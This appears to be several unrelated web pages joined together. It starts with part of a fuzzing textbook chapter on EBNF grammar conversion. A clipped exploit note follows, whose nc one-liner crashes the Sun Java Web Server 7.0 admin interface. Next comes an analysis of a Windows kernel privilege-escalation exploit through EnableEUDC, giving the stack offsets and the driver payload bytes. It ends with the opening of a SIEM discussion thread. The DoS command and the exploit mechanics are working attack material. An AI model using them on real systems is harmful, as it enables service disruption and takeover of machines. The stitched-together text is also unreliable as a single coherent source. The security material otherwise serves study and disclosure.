#### Creating New Symbols¶

First, we need a mechanism to create new symbols. This is fairly
straightforward.

[code]

    def new_symbol(grammar, symbol_name="<symbol>"):
        """Return a new symbol for `grammar` based on `symbol_name`"""
        if symbol_name not in grammar:
            return symbol_name
    
        count = 1
        while True:
            tentative_symbol_name = symbol_name[:-1] + "-" + repr(count) + ">"
            if tentative_symbol_name not in grammar:
                return tentative_symbol_name
            count += 1
    
[/code]

[code]

    assert new_symbol(EXPR_EBNF_GRAMMAR, '<expr>') == '<expr-1>'
    
[/code]

#### Expanding Parenthesized Expressions¶

Next, we need a means to extract parenthesized expressions from our expansions
and expand them according to the rules above. Let's start with extracting
expressions:

[code]

    RE_PARENTHESIZED_EXPR = re.compile(r'\([^())]*\)[?+*]')
    
[/code]

[code]

    def parenthesized_expressions(expansion):
        # In later chapters, we allow expansions to be tuples,
        # with the expansion being the first element
        if isinstance(expansion, tuple):
            expansion = expansion[0]
    
        return re.findall(RE_PARENTHESIZED_EXPR, expansion)
    
[/code]

[code]

    assert parenthesized_expressions("(<foo>)* (<foo><bar>)+ (+<foo>)? <integer>(.<integer>)?") == [
        '(<foo>)*', '(<foo><bar>)+', '(+<foo>)?', '(.<integer>)?']
    
[/code]

We can now use these to apply rule number 1, above, introducing new symbols
for expressions in parentheses.

[code]

    def convert_ebnf_parentheses(ebnf_grammar):
        """Convert a grammar in extended BNF to BNF"""
        grammar = deepcopy(ebnf_grammar)
        for nonterminal in ebnf_grammar:
            expansions = ebnf_grammar[nonterminal]
    
            for i in range(len(expansions)):
                expansion = expansions[i]
    
                while True:
                    parenthesized_exprs = parenthesized_expressions(expansion)
                    if len(parenthesized_exprs) == 0:
                        break
    
                    for expr in parenthesized_exprs:
                        operator = expr[-1:]
                        contents = expr[1:-2]
    
                        new_sym = new_symbol(grammar)
                        expansion = grammar[nonterminal][i].replace(
                            expr, new_sym + operator, 1)
                        grammar[nonterminal][i] = expansion
                        grammar[new_sym] = [contents]
    
        return grammar
    
[/code]

This does the conversion as sketched above:

[code]

    convert_ebnf_parentheses({"<number>": ["<integer>(.<integer>)?"]})
    
[/code]

[code]

    {'<number>': ['<integer><symbol>?'], '<symbol>': ['.<integer>']}
    
[/code]

This even works for nested parenthesized expressions:

[code]

    convert_ebnf_parentheses({"<foo>": ["((<foo>)?)+"]})
    
[/code]

[code]

    {'<foo>': ['<symbol-1>+'], '<symbol>': ['<foo>'], '<symbol-1>': ['<symbol>?']}
    
[/code]

#### Expanding Operators¶

After expanding parenthesized expressions, we now need to take care of symbols
followed by operators \(`?`, `*`, `+`\). As with `convert_ebnf_parentheses()`,
above, we first extract all symbols followed by an operator.

[code]

    RE_EXTENDED_NONTERMINAL = re.compile(r'(<[^<> ]*>[?+*])')
    
[/code]

[code]

    def extended_nonterminals(expansion):
        # In later chapters, we allow expansions to be tuples,
        # with the expansion being the first element
        if isinstance(expansion, tuple):
            expansion = expansion[0]
    
        return re.findall(RE_EXTENDED_NONTERMINAL, expansion)
    
[/code]

[code]

    assert extended_nonterminals(
        "<foo>* <bar>+ <elem>? <none>") == ['<foo>*', '<bar>+', '<elem>?']
    
[/code]

Our converter extracts the symbol and the operator, and adds new symbols
according to the rules laid out above.

[code]

    def convert_ebnf_operators(ebnf_grammar):
        """Convert a grammar in extended BNF to BNF"""
        grammar = deepcopy(ebnf_grammar)
        for nonterminal in ebnf_grammar:
            expansions = ebnf_grammar[nonterminal]
    
            for i in range(len(expansions)):
                expansion = expansions[i]
                extended_symbols = extended_nonterminals(expansion)
    
                for extended_symbol in extended_symbols:
                    operator = extended_symbol[-1:]
                    original_symbol = extended_symbol[:-1]
    
                    new_sym = new_symbol(grammar, original_symbol)
                    grammar[nonterminal][i] = grammar[nonterminal][i].replace(
                        extended_symbol, new_sym, 1)
    
                    if operator == '?':
                        grammar[new_sym] = ["", original_symbol]
                    elif operator == '*':
                        grammar[new_sym] = ["", original_symbol + new_sym]
                    elif operator == '+':
                        grammar[new_sym] = [
                            original_symbol, original_symbol + new_sym]
    
        return grammar
    
[/code]

[code]

    convert_ebnf_operators({"<integer>": ["<digit>+"]})
    
[/code]

[code]

    {'<integer>': ['<digit>'], '<digit>': ['<digit>', '<digit><digit>']}
    
[/code]

#### All Together¶

We can combine the two, first extending parentheses and then operators:

[code]

    def convert_ebnf_grammar(ebnf_grammar):
        return convert_ebnf_operators(convert_ebnf_parentheses(ebnf_grammar))
    
[/code]

[code]

    convert_ebnf_grammar({"<authority>": ["(<userinfo>@)?<host>(:<port>)?"]})
    
[/code]

[code]

    {'<authority>': ['<symbol-2><host><symbol-1-1>'],
     '<symbol>': ['<userinfo>@'],
     '<symbol-1>': [':<port>'],
     '<symbol-2>': ['', '<symbol>'],
     '<symbol-1-1>': ['', '<symbol-1>']}
    
[/code]

[code]

    expr_grammar = convert_ebnf_grammar(EXPR_EBNF_GRAMMAR)
    expr_grammar
    
[/code]

[code]

    {'<start>': ['<expr>'],
     '<expr>': ['<term> + <expr>', '<term> - <expr>', '<term>'],
     '<term>': ['<factor> * <term>', '<factor> / <term>', '<factor>'],
     '<factor>': ['<sign-1><factor>', '(<expr>)', '<integer><symbol-1>'],
     '<sign>': ['+', '-'],
     '<integer>': ['<digit-1>'],
     '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
     '<symbol>': ['.<integer>'],
     '<sign-1>': ['', '<sign>'],
     '<symbol-1>': ['', '<symbol>'],
     '<digit-1>': ['<digit>', '<digit><digit-1>']}
    
[/code]

Success\! We have nicely converted the EBNF grammar into BNF.

With character classes and EBNF grammar conversion, we have two powerful tools
that make the writing of grammars easier. We will use these again and again as
it comes to working with grammars.

## Checking Grammars¶

Since grammars are represented as strings, it is fairly easy to introduce
errors. So let us introduce a helper function that checks a grammar for
consistency.

The helper function `is_valid_grammar()` iterates over a grammar to check
whether all used symbols are defined, and vice versa, which is very useful for
debugging. You don't have to delve into details here, but as always, it is
important to get the input data straight before we make use of it.

[code]

    import sys
    
[/code]

[code]

    def def_used_nonterminals(grammar, start_symbol=START_SYMBOL):
        defined_nonterminals = set()
        used_nonterminals = set([start_symbol])
    
        for defined_nonterminal in grammar:
            defined_nonterminals.add(defined_nonterminal)
            expansions = grammar[defined_nonterminal]
            if not isinstance(expansions, list):
                print(repr(defined_nonterminal) + ": expansion is not a list",
                      file=sys.stderr)
                return None, None
    
            if len(expansions) == 0:
                print(repr(defined_nonterminal) + ": expansion list empty",
                      file=sys.stderr)
                return None, None
    
            for expansion in expansions:
                if isinstance(expansion, tuple):
                    expansion = expansion[0]
                if not isinstance(expansion, str):
                    print(repr(defined_nonterminal) + ": "
                          + repr(expansion) + ": not a string",
                          file=sys.stderr)
                    return None, None
    
                for used_nonterminal in nonterminals(expansion):
                    used_nonterminals.add(used_nonterminal)
    
        return defined_nonterminals, used_nonterminals
    
[/code]

[code]

    def is_valid_grammar(grammar, start_symbol=START_SYMBOL):
        defined_nonterminals, used_nonterminals = def_used_nonterminals(
            grammar, start_symbol)
        if defined_nonterminals is None or used_nonterminals is None:
            return False
    
        for unused_nonterminal in defined_nonterminals - used_nonterminals:
            print(repr(unused_nonterminal) + ": defined, but not used",
                  file=sys.stderr)
        for undefined_nonterminal in used_nonterminals - defined_nonterminals:
            print(repr(undefined_nonterminal) + ": used, but not defined",
                  file=sys.stderr)
    
        return used_nonterminals == defined_nonterminals
    
[/code]

Our grammars defined above pass the test:

[code]

    assert is_valid_grammar(EXPR_GRAMMAR)
    assert is_valid_grammar(CGI_GRAMMAR)
    assert is_valid_grammar(URL_GRAMMAR)
    
[/code]

The check can also be applied to EBNF grammars:

[code]

    assert is_valid_grammar(EXPR_EBNF_GRAMMAR)
    
[/code]

These ones do not pass the test, though:

[code]

    assert not is_valid_grammar({"<start>": ["<x>"], "<y>": ["1"]})
    
[/code]

[code]

    '<y>': defined, but not used
    '<x>': used, but not defined
    
[/code]

[code]

    assert not is_valid_grammar({"<start>": "123"})
    
[/code]

[code]

    '<start>': expansion is not a list
    
[/code]

[code]

    assert not is_valid_grammar({"<start>": []})
    
[/code]

[code]

    '<start>': expansion list empty
    
[/code]

[code]

    assert not is_valid_grammar({"<start>": [1, 2, 3]})
    
[/code]

[code]

    '<start>': 1: not a string
    
[/code]

From here on, we will always use `is_valid_grammar()` when defining a grammar.

## Lessons Learned¶

  * Grammars are powerful tools to express and produce syntactically valid inputs.
  * Inputs produced from grammars can be used as is, or used as seeds for mutation-based fuzzing.
  * Grammars can be extended with character classes and operators to make writing easier.

## Next Steps¶

As they make a great foundation for generating software tests, we use grammars
again and again in this book. As a sneak preview, we can use grammars to fuzz
configurations:

[code]

    <options> ::= <option>*
    <option> ::= -h | --version | -v | -d | -i | --global-config <filename>
[/code]

We can use grammars for fuzzing functions and APIs and fuzzing graphical user
interfaces:

[code]

    <call-sequence> ::= <call>*
    <call> ::= urlparse(<url>) | urlsplit(<url>)
[/code]

We can assign probabilities and constraints to individual expansions:

[code]

    <term>: 50% <factor> * <term> |  30% <factor> / <term> | 20% <factor>
    <integer>: <digit>+ { <integer> >= 100 }
[/code]

All these extras become especially valuable as we can

  1. _infer grammars automatically_ , dropping the need to specify them manually, and
  2. _guide them towards specific goals_ such as coverage or critical functions;

which we also discuss for all techniques in this book.

To get there, however, we still have bit of homework to do. In particular, we
first have to learn how to

  * create an efficient grammar fuzzer

## Background¶

As one of the foundations of human language, grammars have been around as long
as human language existed. The first _formalization_ of generative grammars
was by Dakṣiputra Pāṇini in 350 BC \[Dakṣiputra Pāṇini, 350 BCE.\]. As a
general means to express formal languages for both data and programs, their
role in computer science cannot be overstated. The seminal work by Chomsky
\[Chomsky _et al_ , 1956.\] introduced the central models of regular
languages, context-free grammars, context-sensitive grammars, and universal
grammars as they are used \(and taught\) in computer science as a means to
specify input and programming languages aver since.

The use of grammars for _producing_ test inputs goes back to Burkhardt
\[Burkhardt _et al_ , 1967.\], to be later rediscovered and applied by Hanford
\[Hanford _et al_ , 1970.\] and Purdom \[Purdom _et al_ , 1972.\]. The most
important use of grammar testing since then has been _compiler testing_.
Actually, grammar-based testing is one important reason why compilers and Web
browsers work as they should:

  * The CSmith tool \[Yang _et al_ , 2011.\] specifically targets C programs, starting with a C grammar and then applying additional steps, such as referring to variables and functions defined earlier or ensuring integer and type safety. Their authors have used it "to find and report more than 400 previously unknown compiler bugs."
  * The LangFuzz work \[Holler _et al_ , 2012.\], which shares two authors with this book, uses a generic grammar to produce outputs, and is used day and night to generate JavaScript programs and test their interpreters; as of today, it has found more than 2,600 bugs in browsers such as Mozilla Firefox, Google Chrome, and Microsoft Edge.
  * The EMI Project \[Le _et al_ , 2014.\] uses grammars to stress-test C compilers, transforming known tests into alternative programs that should be semantically equivalent over all inputs. Again, this has led to more than 100 bugs in C compilers being fixed.
  * Grammarinator \[Hodován _et al_ , 2018.\] is an open-source grammar fuzzer \(written in Python\!\), using the popular ANTLR format as grammar specification. Like LangFuzz, it uses the grammar for both parsing and producing, and has found more than 100 issues in the _JerryScript_ lightweight JavaScript engine and an associated platform.

Compilers and Web browsers, of course, are not only domains where grammars are
needed for testing, but also domains where grammars are well-known. Our claim
in this book is that grammars can be used to generate almost _any_ input, and
our aim is to empower you to do precisely that.

## Exercises¶

### Exercise 1: A JSON Grammar¶

Take a look at the JSON specification and derive a grammar from it:

  * Use _character classes_ to express valid characters
  * Use EBNF to express repetitions and optional parts
  * Assume that
    * a string is a sequence of digits, ASCII letters, punctuation and space characters without quotes or escapes
    * whitespace is just a single space.
  * Use `is_valid_grammar()` to ensure the grammar is valid.

Feed the grammar into `simple_grammar_fuzzer()`. Do you encounter any errors,
and why?

Use the notebook to work on the exercises and see solutions.

### Exercise 2: Finding Bugs¶

The name `simple_grammar_fuzzer()` does not come by accident: The way it
expands grammars is limited in several ways. What happens if you apply
`simple_gramar_fuzzer()` on `nonterminal_grammar` and `expr_grammar`, as
defined above, and why?

Use the notebook to work on the exercises and see solutions.

### Exercise 3: Grammars with Regular Expressions¶

In a _grammar extended with regular expressions_ , we can use the special form

[code]

    /regex/
[/code]

to include regular expressions in expansions. For instance, we can have a rule

[code]

    <integer> ::= /[+-]?[0-9]+/
[/code]

to quickly express that an integer is an optional sign, followed by a sequence
of digits.

#### Part 1: Convert regular expressions¶

Write a converter `convert_regex(r)` that takes a regular expression `r` and
creates an equivalent grammar. Support the following regular expression
constructs:

  * `*`, `+`, `?`, `()` should work just in EBNFs, above.
  * `a|b` should translate into a list of alternatives `[a, b]`.
  * `.` should match any character except newline.
  * `[abc]` should translate into `srange("abc")`
  * `[^abc]` should translate into the set of ASCII characters _except_ `srange("abc")`.
  * `[a-b]` should translate into `crange(a, b)`
  * `[^a-b]` should translate into the set of ASCII characters _except_ `crange(a, b)`.

Example: `convert_regex(r"[0-9]+")` should yield a grammar such as

[code]

    {
        "<start>": ["<s1>"],
        "<s1>": [ "<s2>", "<s1><s2>" ],
        "<s2>": crange('0', '9')
    }
    
[/code]

Use the notebook to work on the exercises and see solutions.

#### Part 2: Identify and expand regular expressions¶

Write a converter `convert_regex_grammar(g)` that takes a EBNF grammar `g`
containing regular expressions in the form `/.../` and creates an equivalent
BNF grammar. Support the regular expression constructs as above.

Example: `convert_regex_grammar({ "<integer>" : "/[+-]?[0-9]+/" })` should
yield a grammar such as

[code]

    {
        "<integer>": ["<s1><s3>"],
        "<s1>": [ "", "<s2>" ],
        "<s2>": srange("+-"),
        "<s3>": [ "<s4>", "<s4><s3>" ],
        "<s4>": crange('0', '9')
    }
    
[/code]

Optional: Support _escapes_ in regular expressions: `\c` translates to the
literal character `c`; `\/` translates to `/` \(and thus does not end the
regular expression\); `\\` translates to `\`.

Use the notebook to work on the exercises and see solutions.

### Exercise 4: Defining Grammars as Functions \(Advanced\)¶

To obtain a nicer syntax for specifying grammars, one can make use of Python
constructs which then will be _parsed_ by an additional function. For
instance, we can imagine a grammar definition which uses `|` as a means to
separate alternatives:

Use the notebook to work on the exercises and see solutions.

[code]

    def expression_grammar_fn():
        start = "<expr>"
        expr = "<term> + <expr>" | "<term> - <expr>"
        term = "<factor> * <term>" | "<factor> / <term>" | "<factor>"
        factor = "+<factor>" | "-<factor>" | "(<expr>)" | "<integer>.<integer>" | "<integer>"
        integer = "<digit><integer>" | "<digit>"
        digit = '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9'
    
[/code]

If we execute `expression_grammar_fn()`, this will yield an error. Yet, the
purpose of `expression_grammar_fn()` is not to be executed, but to be used as
_data_ from which the grammar will be constructed.

[code]

    with ExpectError():
        expression_grammar_fn()
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-76-612cec5468d3>", line 2, in <module>
        expression_grammar_fn()
      File "<ipython-input-75-f21ab929e5ee>", line 3, in expression_grammar_fn
        expr = "<term> + <expr>" | "<term> - <expr>"
    TypeError: unsupported operand type(s) for |: 'str' and 'str' (expected)
    
[/code]

To this end, we make use of the `ast` \(abstract syntax tree\) and `inspect`
\(code inspection\) modules.

[code]

    import ast
    import inspect
    
[/code]

First, we obtain the source code of `expression_grammar_fn()`...

[code]

    source = inspect.getsource(expression_grammar_fn)
    source
    
[/code]

[code]

    'def expression_grammar_fn():\n    start = "<expr>"\n    expr = "<term> + <expr>" | "<term> - <expr>"\n    term = "<factor> * <term>" | "<factor> / <term>" | "<factor>"\n    factor = "+<factor>" | "-<factor>" | "(<expr>)" | "<integer>.<integer>" | "<integer>"\n    integer = "<digit><integer>" | "<digit>"\n    digit = \'0\' | \'1\' | \'2\' | \'3\' | \'4\' | \'5\' | \'6\' | \'7\' | \'8\' | \'9\'\n'
    
[/code]

... which we then parse into an abstract syntax tree:

[code]

    tree = ast.parse(source)
    
[/code]

We can now parse the tree to find operators and alternatives.
`get_alternatives()` iterates over all nodes `op` of the tree; If the node
looks like a binary _or_ \(`|` \) operation, we drill deeper and recurse. If
not, we have reached a single production, and we try to get the expression
from the production. We define the `to_expr` parameter depending on how we
want to represent the production. In this case, we represent a single
production by a single string.

[code]

    def get_alternatives(op, to_expr=lambda o: o.s):
        if isinstance(op, ast.BinOp) and isinstance(op.op, ast.BitOr):
            return get_alternatives(op.left, to_expr) + [to_expr(op.right)]
        return [to_expr(op)]
    
[/code]

`funct_parser()` takes the abstract syntax tree of a function \(say,
`expression_grammar_fn()`\) and iterates over all assignments:

[code]

    def funct_parser(tree, to_expr=lambda o: o.s):
        return {assign.targets[0].id: get_alternatives(assign.value, to_expr)
                for assign in tree.body[0].body}
    
[/code]

The result is a grammar in our regular format:

[code]

    grammar = funct_parser(tree)
    for symbol in grammar:
        print(symbol, "::=", grammar[symbol])
    
[/code]

[code]

    start ::= ['<expr>']
    expr ::= ['<term> + <expr>', '<term> - <expr>']
    term ::= ['<factor> * <term>', '<factor> / <term>', '<factor>']
    factor ::= ['+<factor>', '-<factor>', '(<expr>)', '<integer>.<integer>', '<integer>']
    integer ::= ['<digit><integer>', '<digit>']
    digit ::= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    
[/code]

#### Part 1 \(a\): One Single Function¶

Write a single function `define_grammar(fn)` that takes a grammar defined as
function \(such as `expression_grammar_fn()`\) and returns a regular grammar.

Use the notebook to work on the exercises and see solutions.

#### Part 1 \(b\): Alternative representations¶

We note that the grammar representation we designed previously does not allow
simple generation of alternatives such as `srange()` and `crange()`. Further,
one may find the string representation of expressions limiting. It turns out
that it is simple to extend our grammar definition to support grammars such as
below:

[code]

    def define_name(o):
        return o.id if isinstance(o, ast.Name) else o.s
    
[/code]

[code]

    def define_expr(op):
        if isinstance(op, ast.BinOp) and isinstance(op.op, ast.Add):
            return (*define_expr(op.left), define_name(op.right))
        return (define_name(op),)
    
[/code]

[code]

    def define_ex_grammar(fn):
        return define_grammar(fn, define_expr)
    
[/code]

The grammar:

[code]

    @define_ex_grammar
    def expression_grammar():
        start   = expr
        expr    = (term + '+' + expr
                |  term + '-' + expr)
        term    = (factor + '*' + term
                |  factor + '/' + term
                |  factor)
        factor  = ('+' + factor
                |  '-' + factor
                |  '(' + expr + ')'
                |  integer + '.' + integer
                |  integer)
        integer = (digit + integer
                |  digit)
        digit   = '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9'
    
    for symbol in expression_grammar:
        print(symbol, "::=", expression_grammar[symbol])
    
[/code]

**Note.** The grammar data structure thus obtained is a little more detailed
than the standard data structure. It represents each production as a tuple.

We note that we have not enabled `srange()` or `crange()` in the above
grammar. How would you go about adding these? \(_Hint:_ wrap `define_expr()`
to look for `ast.Call`\)

#### Part 2: Extended Grammars¶

Introduce an operator `*` that takes a pair `(min, max)` where `min` and `max`
are the minimum and maximum number of repetitions, respectively. A missing
value `min` stands for zero; a missing value `max` for infinity.

[code]

    def identifier_grammar_fn():
        identifier = idchar * (1,)
    
[/code]

With the `*` operator, we can generalize the EBNF operators – `?` becomes
\(0,1\), `*` becomes \(0,\), and `+` becomes \(1,\). Write a converter that
takes an extended grammar defined using `*`, parse it, and convert it into
BNF.

Use the notebook to work on the exercises and see solutions.

<img src='img/4417_88x31.png' width='88' height='31' alt='Creative Commons
License' /> The content of this project is licensed under the Creative Commons
Attribution-NonCommercial-ShareAlike 4.0 International License. The source
code that is part of the content, as well as the source code used to format
and display that content is licensed under the MIT License. Last change:
2018-11-13 18:19:42+01:00 • Cite • Imprint

  

# Sun Java Web Server 7.0 u7 Admin Interface DoS

**Created:**| _9/10/2010 9:55:24 AM_  
---|---  
**Updated:**| _9/10/2010 9:55:24 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit LOLZ_  
  

[code]

    # Sun Java Web Sever 7.0 u7 Admin Interface DOS
    
    # Software Package sjsws-7_0u7-windows-i586.zip 4fb8d1fb700d5649234a2891a4ecedea
    # While attempting to verify http://www.exploit-db.com/exploits/14194/ (which was not verified),
    # I stumbled across this semi amusing DOS:
    
    root@bt:~# nc -nv 192.168.48.134 8800
    (UNKNOWN) [192.168.48.134] 8800 (?) open
    HEAD / HTTP/1.0
    
    HTTP/1.1 200 OK
    Server: Sun-Java-System-Web-Server/7.0
    Date: Tue, 06 Jul 2010 00:22:50 GMT
    Content-type: text/html
    Last-modified: Tue, 06 Jul 2010 00:18:00 GMT
    Content-length: 465
    Etag: "1d1-4c327638"
    Accept-ranges: bytes
    Connection: close
    
    root@bt:~# echo { |nc -nv 192.168.48.134 8800
    (UNKNOWN) [192.168.48.134] 8800 (?) open
    root@bt:~# echo { |nc -nv 192.168.48.134 8800
    (UNKNOWN) [192.168.48.134] 8800 (?) : Connection refused
    root@bt:~#
    
[/code]

# Advanced analysis of the 2010-11-24 local Windows kernel exploit

**Created:**| _11/29/2010 10:22:46 PM_  
---|---  
**Updated:**| _11/29/2010 10:23:11 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit kernel awesome_  
  

## Advanced analysis of the 2010-11-24 local Windows kernel exploit

24/7, 365, party is always on my mind and doing security research too\! Ah, my
life is just beautiful. Getting up at 11:30 to go to sleep again =\) Reading
news, emails, doing some security research work, and still not giving a about
the federal court investigating against me since more than a year without any
result. This time I am writing about the new local kernel exploit which was
just published 2 days ago, and attacks XP, Vista and 7, 32-bit as 64-bit.
Originally it was published on codeproject and hours later the article was
taken down.

_Peter Kleissner, Software Development Guru_

[code]

    Copy of the original codeproject.com article
    Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day (exploit-db.com entry)
    
    
[/code]

**The proof of concept driver**

The local Windows kernel exploits a vulnerability in NtGdiEnableEudc\(\),
which can be exploited even from non-elevated rights \(as non-administrator\).
In the "poc.cpp" \(from the package\) there is an embedded driver which is the
"payload":

[code]

    BYTE DrvBuf[] = {
          0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
          0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    
    
[/code]

This can be easily extracted from the compiled executable. This poc-driver
does nothing more than elevating the rights of a driver of a running cmd.exe
process to those of services.exe. In fact the driver code is exactly based on
my proof of concept "command line privilege escalation driver" from Black Hat
2009. In the chinese community that code is quite popular, see here and here
\(look for my last name to reveal who wrote the source\).

The code works by getting the current process through IoGetCurrentProces\(\)
and going through the list until services.exe is found, and copying the
security token there and overwriting the one of cmd.exe \(which in fact
elevates it\). For the different OS versions there will be the correct offset
selected for the fields in the \_EPROCESS structure \(this is IDA pro\):

<img src='img/Temp2_489.png' />

It is very characteristic for my code that I use PsGetVersion first, because
RtlGetVersion is only available with XP+. For this exploit this does not make
much sense here, because the exploit poc is for Vista/7 only. Also you see the
DbgPrint in case the OS version is not recognized. The only real change to my
code is that it does KfRaiseIrql and KfLowerIrql around the code that copies
the security token.

Interestingly, like with TDL, Sinowal, ZeuS, Stuxnet before, the driver
contains debug information which reveals the project \(development\) path:

[code]

     f:\test\objfre_wxp_x86\i386\Hello.pdb
    
    
[/code]

It does not reveal a lot in this case but still can be considered as sensitive
information.

**The exploit**

The problem is that the Windows function EnableEUDC\(\) \(and
NtGdiEnableEudc\) thinks a registry key has the type REG\_SZ, it does not
verify it \(that is the whole problem\). Subsequently in the kernel there will
be a UNICODE\_STRING structure allocated and the address of it passed to
RtlQueryRegistryValues\(\) which should fill the value.

[code]

    typedef struct _UNICODE_STRING {
      USHORT Length;        
      USHORT MaximumLength;
      PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    
[/code]

Now what happens is that RtlQueryRegistryValues fills the input parameter
DestinationString with binary data, rather than initializing the Unicode
string and interpreting the structure members. That means if we have for
example the binardy data 11 11 22 22 33 33 33 33 44 44 44 44 it would be
filled as follows:

[code]

    typedef struct _UNICODE_STRING {
      USHORT Length = 1111h;
      USHORT MaximumLength = 2222h;
      PWSTR  Buffer = 333333h;
    } UNICODE_STRING, *PUNICODE_STRING;
    44444444h <------ buffer overflow!
    
    
[/code]

Which means we can write outside the buffer, and given the structure is
allocated on the stack, we can manipulate the stack. The next important thing
is the stack trace and the stack frame:

[code]

    GDI32.EnableEUDC ->
    NtGdiEnableEudc ->
    GreEnableEUDC ->     
    sub_BF81B3B4 ->
    sub_BF81BA0B ->
    
    .text:BF81BA0B sub_BF81BA0B    proc near               ; CODE XREF:
    sub_BF81B3B4+B2 p
    .text:BF81BA0B
    .text:BF81BA0B DestinationString= LSA_UNICODE_STRING ptr -20h
    .text:BF81BA0B var_18          = dword ptr -18h
    .text:BF81BA0B var_14          = dword ptr -14h
    .text:BF81BA0B KeyHandle       = dword ptr -10h
    .text:BF81BA0B var_C           = dword ptr -0Ch
    .text:BF81BA0B var_8           = dword ptr -8
    .text:BF81BA0B Path            = dword ptr -4
    .text:BF81BA0B arg_0           = dword ptr  8
    .text:BF81BA0B arg_4           = word ptr  0Ch
    .text:BF81BA0B
    .text:BF81BA0B                 mov     edi, edi
    .text:BF81BA0D                 push    ebp
    .text:BF81BA0E                 mov     ebp, esp
    .text:BF81BA10                 sub     esp, 20h
    
    
[/code]

The important thing is the variable DestinationString, which will be
overwritten with binary data \(and has the type UNICODE\_STRING\). This is the
code of win32k.sys \(Windows 7, 32 bit\), which slightly differs with other
Windows versions. For that reason the exploit code has to check for the
version and use the right offsets \(for the variables\) in the exploit. The
DestinationString variable is -20h on the stack \(at the bottom\), so the
frame would look like:

[code]

    DWORD Argument 2
    DWORD Argument 1
    ++ (higher address)
    DWORD Return Address
    DWORD Original EBP
    DWORD Variable 0
    DWORD Variable 1
    ...
    DWORD UNICODE_STRING.Buffer
    DWORD UNICODE_STRING.Length, UNICODE_STRING.MaximumLength
    -- (lower address)
    
    
[/code]

This stack information is extremely important, because we need to overwrite
the return address to jump from the kernel to our own code \(and thus
exploiting the kernel\). There is now one important thing, the binary data
doesn't go immediately to &DestinationString, but to +8 of that address. The
RtlQueryRegistryValues documentation says,

[code]

    Nonstring data with size, in bytes, > sizeof(ULONG)
    
            The buffer pointed to by EntryContext must begin with a signed LONG value. The magnitude of the value must specify the size, in bytes, of the buffer. If the sign of the value is negative, RtlQueryRegistryValues will only store the data of the key value. Otherwise, it will use the first ULONG in the buffer to record the value length, in bytes, the second ULONG to record the value type, and the rest of the buffer to store the value data.
    
    
[/code]

The stack looks like: 20h stack variables, + original ebp, + return eip. The
binary data comes to +8 at the bottom of the stack variables, so effectively
we have to patch the dword at +18h \(skipping stack variables\) + 4h
\(skipping ebp\), which is the final value 1Ch. If we check now the code of
this public open source exploit \(RegBuf is the binary registry data that is
going to be stored in the registry, pMem the address of the shellcode\):

[code]

                    *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;
    
    
[/code]

Now there is one last thing. We overwrite the stack variables, which is not
really nice. After calling RtlQueryRegistryValues\(\), there are still
operations done, the most important one is this, right before returning from
the function:

[code]

    .text:BF81BB9B                 movzx   eax, [ebp+DestinationString.Length]
    .text:BF81BB9F                 push    eax
    .text:BF81BBA0                 push    [ebp+DestinationString.Buffer]
    .text:BF81BBA3                 movzx   eax, [ebp+arg_4]
    .text:BF81BBA7                 push    eax
    .text:BF81BBA8                 push    [ebp+arg_0]
    .text:BF81BBAB                 call    _wcsncpy_s
    
    
[/code]

The function wants to copy the string. Now, there will be unexpected values in
Length and Buffer, so this would cause undefined behaviour. We cannot control
those 2 variables \(they are set by RtlQueryRegistryValues\(\), but we can
change arg\_0 and arg\_4, the two function parameters. They are located on the
stack after the return eip. If we overwrite them with zeros, thanks to safe
string functions, wcsncpy\_s will verify them \(and recognizes them as
illegal\) and returns. All we have to do is increasing the binary data size
from 20h to 28h, which is also done in the code \(ExpSize is the size of the
binary registry data\):

[code]

                    ExpSize = 0x28;
    
    
[/code]

The entire exploit is really just setting up the "fake" registry key
\(containing binary data\) and firing up EnableEUDC. According to Prevx, this
security flaw \(not checking the type of this certain registry key\) is
available with all Windows operating systems, making it definitely to the bug
of the year. One last thing, the original poc fails to initialize the registry
buffer properly \(should be filled with zeros\), which could fail the exploit
\(depending on what was before in the memory, if wcsncpy accepts it or not\).
In fact it was crashing my Vista with BAD\_POOL\_CALLER, and worked fine with
7 in my testings.

**References**

  * http://www.codeproject.com/KB/vista-security/uac.aspx \(taken down\)
  * Prevx: New Windows 0-day exploit speaks Chinese
  * RtlQueryRegistryValues \(MSDN\)

# Security Analysts Discuss SIEM’s – ElasticSearch/Logstash/Kibana vs ArcSight, Splunk, and more | Skizzle Sec
**Created:**| _6/11/2014 10:11:12 AM_  
---|---  
**Updated:**| _6/11/2014 10:11:12 AM_  
**Author:**| __  
**Tags:**| _visualization Logs siem_  
  

#  Security Analysts Discuss SIEM’s – ElasticSearch/Logstash/Kibana vs
ArcSight, Splunk, and more

> Hello\! The conversation below took place between multiple analyst who work
> in different security operation centers at multiple different companies.
> Their names and affiliations in the actual discussion have been removed for
> privacy/attribution reasons.
> Some of the contributors include but are not limited to:
> Brandon Levene | @SeraphimDomain
> Chris Clark | @xenosec
> Jeff Atkinson
> Jorge Capmany | @theweeZ
> Greg Martin | @gregcmartin
> Max Rogers | @MaxRogers5
> Hopefully others who are trying to build their security operations program
> can benefit from the discussion below\!
Hi there,

The universal question that everyone had in the past comes up for me  
to. We are faced with a pleasant surprise in budgets, but an  
unpleasant surprise in time-to-spend-the-money.

This means I don’t have the time to do real comparisons and tests with  
the various potential products. Aka: We need to choose in 1 or max 2  
weeks, and don’t even have the time to do the research / webinars /  
…  
Any advice about pro’s and contra’s are definitely welcome.

**The use:**

  * Detection of \(targeted\) malware and attacks \(also needs to be able to automate searches based on IOCs, can be scripted\)
